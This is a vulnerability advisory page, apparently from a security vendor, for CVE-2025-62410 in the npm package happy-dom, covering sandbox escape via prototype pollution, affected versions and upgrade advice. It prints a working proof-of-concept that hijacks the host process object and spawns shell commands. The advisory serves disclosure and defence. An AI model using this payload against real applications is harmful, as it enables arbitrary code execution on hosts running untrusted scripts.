CVE-2025-62410 — happy-dom
Fix: capricorn86/happy-dom@f4bd4ebCVE-2025-62410 is a CWE-1321 vulnerability in happy-dom. A fix is available for happy-dom — see the affected versions and patch details below.
--disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-62410.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
happy-domnpmDescription
Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.
Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.
Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | happy-dom | ≥ 19.0.0&&< 20.0.2 | 20.0.2npm install happy-dom@20.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for happy-dom, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update happy-dom to 20.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-62410 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-62410 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-62410. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-62410 in your dependencies?
O3 Security finds CVE-2025-62410 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.